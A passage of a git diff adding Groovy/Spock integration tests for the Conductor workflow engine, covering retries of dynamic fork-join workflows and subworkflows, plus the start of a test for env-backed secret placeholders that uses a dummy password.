then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try, ['k1': 'v1']) + + and: "verify that the workflow is in failed state and 'integration_task_2' has also failed and other tasks are canceled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.CANCELED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.CANCELED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + cleanup: "roll back the change made to integration_task_2 definition" + metadataService.updateTaskDef(persistedTask2Definition) + } + + + def "Retry a failed dynamic fork join workflow"() { + setup: "Make sure that the integration_task_2 does not have any retry count" + def persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, + persistedTask2Definition.description, persistedTask2Definition.ownerEmail, 0, + persistedTask2Definition.timeoutSeconds, persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + when: " a dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_workflow', [:], + null) + + then: "verify that the workflow has been successfully started and the first task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: " the first task is 'integration_task_1' output has a list of dynamic tasks" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "Poll and fail 'integration_task_2'" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("dynamicfanouttask_join").taskId + def pollAndCompleteTask2Try1 = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.worker', 'it is a failure..') + + and: "workflow is evaluated by the reconciler" + sweep(workflowInstanceId) + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try1, ['k1': 'v1']) + + and: "verify that the workflow is in failed state and 'integration_task_2' has also failed and other tasks are canceled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.CANCELED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.CANCELED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, false) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.CANCELED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + tasks[6].taskType == 'integration_task_3' + tasks[6].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_2' and 'integration_task_3'" + def pollAndCompleteTask2Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker', + ['ok1': 'ov1']) + def pollAndCompleteTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker', + ['ok1': 'ov1']) + + and: "workflow is evaluated by the reconciler" + sweep(workflowInstanceId) + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try2, ['k1': 'v1']) + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask3Try1, ['k2': 'v2']) + + when: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that the workflow has progressed and the 'integration_task_2' and 'integration_task_3' are complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.COMPLETED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[4].outputData['xdt1']['ok1'] == 'ov1' + tasks[4].outputData['xdt2']['ok1'] == 'ov1' + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_3' + tasks[6].status == Task.Status.COMPLETED + tasks[7].taskType == 'integration_task_4' + tasks[7].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_4'" + def pollAndCompleteTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.worker') + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask4Try1) + + and: "verify that the workflow is complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 8 + tasks[7].taskType == 'integration_task_4' + tasks[7].status == Task.Status.COMPLETED + } + + cleanup: "roll back the change made to integration_task_2 definition" + metadataService.updateTaskDef(persistedTask2Definition) + } + + def "Retry a failed dynamic fork join workflow with forked subworkflow"() { + setup: "Make sure that the integration_task_2 does not have any retry count" + def persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, + persistedTask2Definition.description, persistedTask2Definition.ownerEmail, 0, + persistedTask2Definition.timeoutSeconds, persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + when: "the dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_wf_subwf', [:], null) + + then: "verify that the workflow is started and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + } + + when: "the first task's output has a list of dynamically forked tasks including a subworkflow" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'sub_wf_task' + workflowTask2.taskReferenceName = 'xdt1' + workflowTask2.workflowTaskType = TaskType.SUB_WORKFLOW + SubWorkflowParams subWorkflowParams = new SubWorkflowParams() + subWorkflowParams.setName("integration_test_wf3") + subWorkflowParams.setVersion(1) + workflowTask2.subWorkflowParam = subWorkflowParams + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_10' + workflowTask3.taskReferenceName = 'xdt10' + + def dynamicTasksInput = ['xdt1': ['p1': 'q1', 'p2': 'q2'], 'xdt10': ['k2': 'v2']] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled" + def dynSubWfTask = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + .tasks.find { it.taskType == 'SUB_WORKFLOW' && it.status == Task.Status.SCHEDULED } + if (dynSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, dynSubWfTask.taskId) + } + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "the subworkflow is started by issuing a system task call" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("dynamicfanouttask_join").taskId + + then: "verify that the sub workflow task is in a IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "subworkflow is retrieved" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def subWorkflowId = workflow.tasks[2].subWorkflowId + sweep(subWorkflowId) + + then: "verify that the sub workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "The 'integration_task_10' is polled and completed" + def pollAndCompleteTask10Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_10', 'task10.worker') + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask10Try1) + + and: "verify that the workflow is updated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "The task within sub workflow is polled and completed" + pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker') + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "the next task in the subworkflow is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "Poll and fail 'integration_task_2'" + def pollAndCompleteTask2Try1 = workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.worker', "failure") + + and: "the workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try1) + + and: "the subworkflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + and: "the workflow is also in FAILED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.FAILED + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.CANCELED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "The workflow is retried" + workflowExecutor.retry(workflowInstanceId, true) + + then: "verify that the workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + and: "the subworkflow is retried and in RUNNING state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the JOIN is updated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.IN_PROGRESS + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "Poll and complete 'integration_task_2'" + def pollAndCompleteTask2Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try2) + + and: "the sub workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_3'" + def pollAndCompleteTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker') + + then: "verify that the task was polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask3Try1) + + and: "the sub workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(subWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.COMPLETED + } + + when: "the workflow is evaluated" + sweep(workflowInstanceId) + + and: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "the workflow has progressed beyond the join task" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.COMPLETED + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.COMPLETED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_4'" + def pollAndCompleteTask4Try = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.worker') + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask4Try) + + and: "verify that the workflow is complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SUB_WORKFLOW' + tasks[2].status == Task.Status.COMPLETED + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.COMPLETED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.COMPLETED + } + + cleanup: "roll back the change made to integration_task_2 definition" + metadataService.updateTaskDef(persistedTask2Definition) + } + + def "Test dynamic fork join empty output"() { + when: " a dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_workflow', [:], + null) + + then: "verify that the workflow has been successfully started and the first task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: " the first task is 'integration_task_1' output has a list of dynamic tasks" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def dynamicTasksInput = ['xdt1': ['k1': 'v1'], 'xdt2': ['k2': 'v2']] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': dynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try) + + and: "verify that workflow has progressed further ahead and new dynamic tasks have been scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'FORK' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + } + + when: "Poll and complete 'integration_task_2' and 'integration_task_3'" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("dynamicfanouttask_join").taskId + def pollAndCompleteTask2Try = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.worker') + def pollAndCompleteTask3Try = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task3.worker') + + and: "workflow is evaluated by the reconciler" + sweep(workflowInstanceId) + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try, ['k1': 'v1']) + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask3Try, ['k2': 'v2']) + + when: "JOIN task is executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that the workflow has progressed and the 'integration_task_2' and 'integration_task_3' are complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_3' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['xdt1', 'xdt2'] + tasks[4].status == Task.Status.COMPLETED + tasks[4].referenceTaskName == 'dynamicfanouttask_join' + tasks[4].outputData.isEmpty() + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "Poll and complete 'integration_task_4'" + def pollAndCompleteTask4Try = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task4.worker') + + then: "verify that the tasks were polled and acknowledged" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask4Try) + + and: "verify that the workflow is complete" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 6 + tasks[5].taskType == 'integration_task_4' + tasks[5].status == Task.Status.COMPLETED + } + } + + def "Test dynamic fork join fail when task input is invalid"() { + when: "a dynamic fork join workflow is started" + def workflowInstanceId = startWorkflow(DYNAMIC_FORK_JOIN_WF, 1, + 'dynamic_fork_join_workflow', [:], + null) + + then: "verify that the workflow has been successfully started and the first task is in scheduled state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: " the first task is 'integration_task_1' output has a list of dynamic tasks" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def invalidDynamicTasksInput = ['xdt1': 'v1', 'xdt2': 'v2'] + + and: "The 'integration_task_1' is polled and completed" + def pollAndCompleteTask1Try = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.worker', + ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': invalidDynamicTasksInput]) + + then: "verify that the task was completed" + workflowTestUtil.verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try) + + and: "verify that workflow failed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + } + } + + def "Test dynamic fork join return failed workflow when start with invalid input"() { + when: "a dynamic fork join workflow is started" + WorkflowTask workflowTask2 = new WorkflowTask() + workflowTask2.name = 'integration_task_2' + workflowTask2.taskReferenceName = 'xdt1' + + WorkflowTask workflowTask3 = new WorkflowTask() + workflowTask3.name = 'integration_task_3' + workflowTask3.taskReferenceName = 'xdt2' + + def invalidDynamicTasksInput = ['xdt1': 'v1', 'xdt2': 'v2'] + def workflowInput = ['dynamicTasks': [workflowTask2, workflowTask3], 'dynamicTasksInput': invalidDynamicTasksInput] + + def dynamicForkJoinTask = new WorkflowTask() + dynamicForkJoinTask.name = 'dynamicfanouttask' + dynamicForkJoinTask.taskReferenceName = 'dynamicfanouttask' + dynamicForkJoinTask.type = 'FORK_JOIN_DYNAMIC' + dynamicForkJoinTask.inputParameters = ['dynamicTasks': '${workflow.input.dynamicTasks}', 'dynamicTasksInput': '${workflow.input.dynamicTasksInput}'] + dynamicForkJoinTask.dynamicForkTasksParam = 'dynamicTasks' + dynamicForkJoinTask.dynamicForkTasksInputParamName = 'dynamicTasksInput' + + def workflowDef = new WorkflowDef() + workflowDef.name = 'DynamicForkJoinStartTest' + workflowDef.version = 1 + workflowDef.tasks.add(dynamicForkJoinTask) + workflowDef.ownerEmail = 'test@harness.com' + + def startWorkflowInput = new StartWorkflowInput(name: workflowDef.name, version: workflowDef.version, workflowInput: workflowInput, workflowDefinition: workflowDef) + def workflowInstanceId = workflowExecutor.startWorkflow(startWorkflowInput) + + then: "verify that workflow failed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.isEmpty() + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EnvBackedSecretsSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EnvBackedSecretsSpec.groovy new file mode 100644 index 0000000..3363906 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/EnvBackedSecretsSpec.groovy @@ -0,0 +1,104 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.core.dal.ExecutionDAOFacade +import com.netflix.conductor.test.base.AbstractSpecification + +/** + * End-to-end integration test proving env-backed secrets/environment support works through the + * full Spring server: + * - {@code ${workflow.env.}} resolves eagerly at schedule time from CONDUCTOR_ENV_. + * - {@code ${workflow.secrets.}} stays literal in the persisted task input, and is only + * resolved from CONDUCTOR_SECRET_ at hand-off (on worker poll). + */ +class EnvBackedSecretsSpec extends AbstractSpecification { + + @Autowired + ExecutionDAOFacade executionDAOFacade + + private static final String TASK_NAME = 'echo_task' + private static final String WORKFLOW_NAME = 'env_backed_secrets_wf' + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_DB_PASSWORD", "s3cr3t") + System.setProperty("CONDUCTOR_ENV_REGION", "us-east-1") + } + + def cleanupSpec() { + System.clearProperty("CONDUCTOR_SECRET_DB_PASSWORD") + System.clearProperty("CONDUCTOR_ENV_REGION") + } + + def setup() { + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 0 + taskDef.timeoutSeconds = 120 + taskDef.responseTimeoutSeconds = 120 + taskDef.ownerEmail = 'test@example.com' + metadataService.registerTaskDef([taskDef]) + + def wfTask = new WorkflowTask() + wfTask.name = TASK_NAME + wfTask.taskReferenceName = 'echo_task_ref' + wfTask.type = TaskType.SIMPLE + wfTask.inputParameters = [pwd: '${workflow.secrets.DB_PASSWORD}', region: '${workflow.env.REGION}'] + + def wfDef = new WorkflowDef() + wfDef.name = WORKFLOW_NAME + wfDef.version = 1 + wfDef.tasks = [wfTask] + wfDef.ownerEmail = 'test@example.com' + wfDef.timeoutSeconds = 3600 + wfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(wfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(WORKFLOW_NAME, 